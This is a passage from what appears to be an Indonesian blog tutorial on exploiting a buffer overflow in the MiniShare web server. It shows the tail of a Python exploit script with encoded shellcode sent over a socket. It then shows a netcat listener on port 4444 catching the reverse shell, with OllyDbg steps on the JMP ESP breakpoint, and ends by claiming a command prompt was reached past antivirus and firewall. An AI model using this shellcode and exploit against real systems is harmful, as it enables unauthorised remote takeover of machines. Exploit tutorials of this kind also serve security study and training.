"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


9. Menguji keberhasilan ekspoit
Restart kembali minishare, dan kirim buffer ini. Sebelum mengirim buffer, kita akan menggunakan netcat untuk mendenganrkan setiap koneksi yang masuk. Dalam tutorial kali ini, saya membuat eksploit untuk menghubungi saya kembali pada port 4444. Sehingga saya gunakan netcat untuk mendegarkan setiap koneksi yang masuk ke port 4444 dengan perintah

Code:
root@red-dragon:~# nc -l 4444

Kembali ke OllyDbg. Set breakpoint dengan alamat JMP ESP. Kirim buffer kita, dan kembali lagi ke OllyDbg. Disini terjadi crash system, tekan F7 untuk melanjutkan ke alamat eksekusi selanjutnya, kemudian tekan kembali tombol F9 atau tombol play. Kembali lagi ke netcat, dan ini yang akan anda saksikan.


Kita berhasil masuk ke Command Prompt melewati antivirus dan firewall.

Tidak ada komentar:

Posting Komentar